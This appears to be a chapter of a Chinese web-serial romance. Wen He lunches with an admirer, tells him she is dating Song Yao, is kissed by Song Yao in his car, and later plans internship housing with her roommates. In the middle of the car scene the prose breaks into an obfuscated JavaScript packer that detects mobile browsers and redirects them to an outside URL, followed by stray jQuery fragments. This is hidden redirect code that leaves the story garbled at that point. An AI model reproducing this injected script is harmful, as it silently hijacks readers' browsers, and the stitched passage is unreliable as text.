三月末的东宁街头，春夏秋冬四季的服装都能见到。


    这几日忽冷忽热，有人穿羽绒服御寒，也有人穿短袖防热，走在城区时不时会有时光穿梭的恍惚感。


    刚下过一场小雨，打湿了枝头的樱花，粉嫩的花瓣躺在低洼的水坑中，给这座灰蒙蒙的城市增添了些许春日滤镜。


    温禾深呼吸，空气中淅淅沥沥的潮湿气息和淡淡花香都被嗅入鼻中。


    前面不远有家评分很高的创意料理店，她和郑随就约在那。


    从滨海回来已经一周，这里的空气里并没有咸湿的海水味，也不似热带阳光照在身上火辣辣的，更多的是新鲜的熟悉感。


    身体凭着本能习惯了这座已经生活近四年的城市，然而心思却还没完全安定下来，每天睁眼就想翻身下床，却只能撞上上床下桌的栏杆，已经吵醒其他三人好几回了。


    日子重又回到正轨，大四课不多，毕业论文也在参加节目前就已经完成初稿，毕业前最大的任务就是要找实习。


    今天坐了近四十分钟的车来到城区，不仅是为了赴约，主要是来面试东宁卫视。


    曹郁夏同她结伴。


    其实在节目录制前两人就已经参加过一轮笔试，这次也并不是终面，东宁卫视会留下十个人实习，一个月后再按表现录取。


    两人在卫视楼下分别。


    “宋老师知道你今天和郑随一起吃饭吗？”


    人都已经转过去，曹郁夏又紧急拉住温禾问。


    “他？都不知道他最近忙什么呢。”温禾撇撇嘴，发消息都要过好久才能回的，谁要跟他报备。”


    宋尧如约完成节目录制，回到学校后整个人焕然一新，看到谁都如沐一层金色圣光，曾经在师生心中冰山形象的他如今竟也能露出一丝亲切微笑。


    服务业果然锻炼人啊。


    伤好得差不多了，《百家争鸣》节目重新又回到他手上，同样地，最近宋尧提交了职称申报材料，每天都在各个办公室之间来回盖章。


    还要正常上课、做课题，整个人确实忙得团团转。


    卫视大楼离这条充满小资情调的街不远，温禾揣着散步的心情缓缓行至店外。


    “小温！”郑随热情抬高手臂招呼她。


    “到了很久了吗？”温禾拉开座椅，明明才三天不见，再次看到郑随却有种多年未见的老友重逢之感。


    欣喜，却并无陌生感。


    “我也刚到。”其实郑随已经在这翘首以盼了半个小时。


    “看看有什么想吃的。”


    郑随已经反复研究了好几遍这家的招牌菜，要是温禾不好意思点的话，他至少也不会踩雷。


    然而面对老友，温禾是绝不会不好意思的，“这个、这个，还有这个牛肉薄饼看着也不错，你再看看想吃什么？”


    郑随仔细一看，温禾已经把他做过功课的招牌菜都点光了，他只好点了两份饮品。


    温禾疑惑道，“你不饿吗？我点的这三个菜感觉不太够吃啊，你不会是钱没带够吧？”


    最后一句显然是玩笑的，郑随挠了挠脑袋，老实巴交地承认，“其实我不知道该点什么，我平时一个人吃饭，在家里随便炒两个菜或者点个外卖就解决了，没怎么吃过这种创意料理...”


    温禾恍然大悟，露出理解的笑容，“没事，那我点，这家我之前来过一次，味道还是挺不错的。”


    温禾又挑了两个菜，轻快按下“下单”键，把手机归还给郑随。


    “放心，我两AA，不会让你一个人掏钱的。”


    郑随赶紧摆手，“我不是这个意思，今天本来就是我约你吃饭，应该我请你的...”


    告白日温禾和宋尧都没有参加，郑随反倒松了口气，没有在一起就还有机会。


    这几天他一直在看情感类博主的建议帖，其中一个他甚至考古到了五年前。


    主要是因为几年前这个博主出过一个“如何做一个成功的男小三”系列帖，但由于被骂得太惨，这个系列早已停更，但郑随深有感触。


    帖子里说，要不能只和女生聊天，要多见面，多线下接触，每次见面要找到合理的理由。


    郑随很是认同，但他不需要找理由，他不是男小三，他只是暂时没有成为正宫。


    于是他听到温禾问，“你今天找我有什么事啊？”


    郑随正喝水的动作顿住，下一秒就被呛到，咳个不停。


    “就、就聚聚呗，好久没见了。”


    温禾无情拆穿，“才三天。”


    好在没等郑随想好要怎么圆回来，温禾就又给他铺好了台阶，“但我也挺想大家的，已经习惯睁眼闭眼都要做咖啡的日子了，现在稍稍闲下来，还真有点不自在。”


    郑随赞同地点点头，“我的新大纲还在审核中，最近也没什么事情可以做，就想着喊你一起吃个饭，我们两都在一个城市嘛，比较方便。”


    温禾却话锋一转，“其实可以等同不在一个城市了，我们学校巨远，早上打车来面试都花了好几十块钱，你下次可以问问宋老师，他学校应该离这不远。”


    郑随只能笑笑。


    这家上菜速度挺快，见郑随还愣着，温禾招呼他，“赶紧吃呀，我都饿得不行了。”


    “你不用拍照吗？”


    温禾微微歪着脑袋，眼睛明亮澄澈，“我们今天不是就聚一次嘛，老友相聚，又不是什么约会，哪来这么多仪式感，放轻松点啦。”


    郑随心中怅然若失。


    他说不上来哪里不对，但就是轻松不起来。


    明明是郑随约的饭，但桌上一直是温禾在主导话题。


    主要都是在重温小屋生活。


    温禾聊到了很多她们女生之间相处的趣事和细节，还问郑随，男生之间会不会经常聊天，还是沉默为主。


    “我们也经常晚上聊天，宣哥和宋老师很有共同话题，能从国际局势聊到金价。”郑随听得也很带劲，但他的二次元话题实在加入不了。


    温禾点点头，“你要是也是女生就好了，我有个室友超喜欢你的漫画，我也追过两部，恨不得每天晚上都能有机会让你给我剧透，我还把张张也拉入坑了。”


    郑随有些惊讶，“张张？她居然还会欣赏别人的画风。”


    “张张就是嘴硬，表面上又酷又飒，内心很可爱的。”温禾将最后一口饮料一饮而尽，“和你们在一起相处好快乐啊，我会永远记得这十四天，短暂却又是人生中难得的宝贵时光。尤其是交到你们这样一群要好的朋友，我觉得自己很幸运，哪怕日后我们分散在不同的城市，我也会希望我们能够保持长长久久的友谊。我真的很感激遇到你们。”


    郑随眼里的光黯淡了，他听得懂温禾的意思。


    是朋友，但也永远是朋友。


    “水水，你是一个很优秀的漫画家，有自己的爱好和特长，有耐心，心思也细腻，我们都觉得和你相处很开心，也希望你能够幸福。”温禾满脸真诚，这的确是她的心里话。


    “我还有个好消息要告诉你。”温禾的脸上露出情窦初开一般的少女娇羞，“我和宋尧在一起了。”


    郑随偏头看向玻璃杯中颜色鲜艳的液体，鹅黄渐变浅绿，他记得好像这杯好像叫初夏冻柠茶，有着百香果、薄荷和柠檬的复合香气。


    他的心也像被大力挤压的柠檬，泛出酸涩的汁。


    随后郑随抬头，脸上已挂着和煦的笑容，“谢谢，也祝你幸福。”


    --


    不急着回学校，温禾打算在附近简单逛下。


    毕竟难得进城，学校旁附近根本没什么好逛的地方。


    走在路上的时候收到了宋尧的消息。


    [Song]：刚开完会，和院长一起吃了饭。


    [Song]：你在哪？


    [梦想是当宇航员]：我也刚吃完。


    [Song]：回头。


    温禾心中升起一股奇妙的感觉，紧攥着手机，转身的动作仿佛强行被按了0.5倍速。


    然而身后并没有人。


    奇妙的缘分感火速退却，取而代之的是怒意。


    温禾气冲冲在聊天框输入三个字：你耍我？


    温禾的手指即将触碰上发送键，质问即将抵达彼岸的时候，一个贼喊捉贼的声音突然传来：“怎么不回头？”


    然而手已经下意识点了放松，只是手机的主人还不自知，沉浸在震惊中。


    宋尧是开车来的，难怪人行道上没看见他。


    黑色SUV贴着路牙，和他老干部风的外表很符合。


    “走路还玩手机？难怪看不见我。”宋尧的声音从副驾降下的车窗幽幽传来。


    温禾不理他，抱臂继续向前走，还偏要把手机拿在手里捣鼓。


    身侧的车影已然消失在眼角，温禾忍不住悄悄偏头去看。


    居然不追上来！


    手机屏突然亮起，提示微信有新消息，温禾打开检查。


    [Song]:简直比窦娥还冤。


    温禾正要回复，下一条消息又进来了。


    [Song]：还看手机，果然手机比我重要哈。


    温禾立刻反唇相讥。


    [梦想是当宇航员]：你才知道？


    黑色的车影又出现在余光中，车主速度把控得很好，不紧不慢地跟在她身后。


    温禾走了会，宋尧既没有消息发来也没有声音传来，她反倒急了。


    “宋尧，你这是非法尾随。”温禾决定先发制人。


    车内的人声音中带着笑意，“谁是宋尧？我已经改名了。”


    “？”


    宋尧接着说，“我现在叫宋手机，此手机和彼手机哪个更重要？”


    “你怎么这么幼稚？”温禾停下脚步，无语地望着车里的人。


    宋尧耸肩，“那你要不要上车？”


    “...”温禾认命般拉开车门，坐上去系好安全带，发号施令，“我要去前面的商场。”


    宋尧仍旧缓行。


    温禾奇怪地看向他，这人搞什么鬼，又要她上车又不好好开。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17403559|194999||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “你今天怎么在这？”


    温禾眨了眨眼，前面的炸毛和着急通通被心虚所取代，含糊不清地答，“和朋友约了在这吃饭。”


    “哦——”宋尧拖长声音，“和朋友吃饭啊。”


    温禾扭过头，才不吃他这套。


    只许宋尧忙到回消息如隔世纪，不许她和朋友郑随一起吃饭啊。


    温禾没再听见宋尧的声音，取而代之的是汽车熄火，在路边停下。


    怎么回事？


    温禾瞪大眼睛又转头看过去。


    然而满眼都是放大版的宋尧的脸，近到连他的睫毛都看得根根分明。


    他真好看啊，眉宇间写满儒雅，鼻梁却又如高耸的山峰...


    温禾赶紧把这些乱七八糟的想法甩出脑袋，“你干嘛...唔...”


    宋尧吻上来的时候她下意识闭上了眼，未说完的话也被迫吞了进去。


    这个吻来势汹汹，带了些宣示主权的意思。


    宋尧用唇描摹着温禾的唇形，一次又一次的碾压、磋磨，温禾被迫发出呜咽的声音，直到宋尧最终放过她。


    双手捧着温禾的脸，宋尧抵着她的额头，说话语气不容置疑，“以后和朋友一吃饭叫上我一起。”


    温禾定定看着她，被吞噬掉口红后仍旧娇艳欲滴的嘴唇扬起甜蜜的弧度。


    --


    四月初，温禾和曹郁夏一起收到了东宁卫视的实习通知，白央央和乔霖也各自面试成功，开启实习生活。


    四人即将短暂分别。


    “央央还好，虽然公司离得远，但至少还在东宁，乔你怎么要去帝都实习啊，好舍不得你。”温禾撅着嘴，摇着乔霖正收拾东西的胳膊。


    “好了好了，我胳膊局部十级地震了都，”乔霖说，“能进WE实习是我梦寐以求的，但一直都不怎么招实习生，我就一直不敢投，上次张张姐鼓励了我给我很大的勇气，虽然我后来还是不好意思找她帮忙，但我偷偷投了简历，能收到实习通知我还蛮意外的。”


    “恭喜你呀，距离梦想又进了一步，在帝都一个人照顾好自己，要按时吃饭...”


    “行了行了，还演上了。”乔霖无语，“两个月后我不就回来了，还要拿毕业证呢！九月份我还要读研呢。”


    “对哦，六月份我们要一起拍宿舍毕业照！”这么想想还是蛮开心的，至少暂时还没有分开。


    “所以说啊，你俩先担心担心自己能不能过实习期吧，我和央央还要留校读研呢，一时半会可分不开。”


    乔霖和白央央都保了本校的研，温禾和曹郁夏想法一致，想尽快在工作中获取经验。


    “是哦，只有我们两再过两个月就成打工人了。”


    未知的生活固然令人期待，但离开校园仍让人不舍，尤其是要和每天同吃同住的好姐妹分开，未来也被赋予了些酸涩的风味。


    “你去帝都住哪啊？”白央央突然问，“你找房子了嘛？”


    乔霖摇头，“我姨妈在帝都生活，说好了我去借住几个月，我一个人住爸妈也不放心。”


    曹郁夏突然想起来什么似的，“小温，收到消息我两太激动了，都忘记住宿的问题了，东宁卫视离学校那么远总不能天天打车吧，到时候肯定还会经常出差。”


    温禾一拍大腿，“我之下了租房软件，但还没来得及看呢，下周入职前得赶紧把房子找了。”


    乔霖问，“央央你呢？”


    “央央你要不也和我们一起住吧，我们组个三居室?”


    白央央点点头，“行，那待会送乔乔到机场后我们就去看房吧。”


    四人打车去机场，刚过正午，大家靠在椅背上昏昏沉沉闭上了眼睛。


    半梦半醒间，温禾感受到口袋里的手机震动了两下。


    [Song]：面试过了吗？


    [Song]：晚上要不要一起吃饭？


    [梦想是当宇航员]：过啦过啦。


    [梦想是当宇航员]：蹦跶jpg.


    [梦想是当宇航员]：现在正在送乔霖去机场，晚上估计没法一起吃饭。


    [Song]：实习期间住哪？


    宋尧的这句话是和温禾的最后一句一起发出去的，温禾不由扬起唇角。


    怎么都想到一起去了。


    [梦想是当宇航员]：正准备下午去找房子呢。


    [Song]：短租？


    [Song]：一个人住？


    司机一个急刹，所有人都不受控制地向前滑去，温禾的手机也从手中掉落。


    曹郁夏替她捡起，一不小心扫到了屏幕中的内容。


    “什么？你要和宋尧同居了？”曹郁夏惊呼。


    自从知道两人在一起后，215众人都不在称呼他为“宋老师”，而是直呼其名。


    白央央瞪大了眼睛，“小温你要抛弃我们了吗？”


    乔霖从前排扭过脑袋，眼里闪着兴奋，“小温，同居没关系，但一定要让宋老师做好措施啊。”


    “...”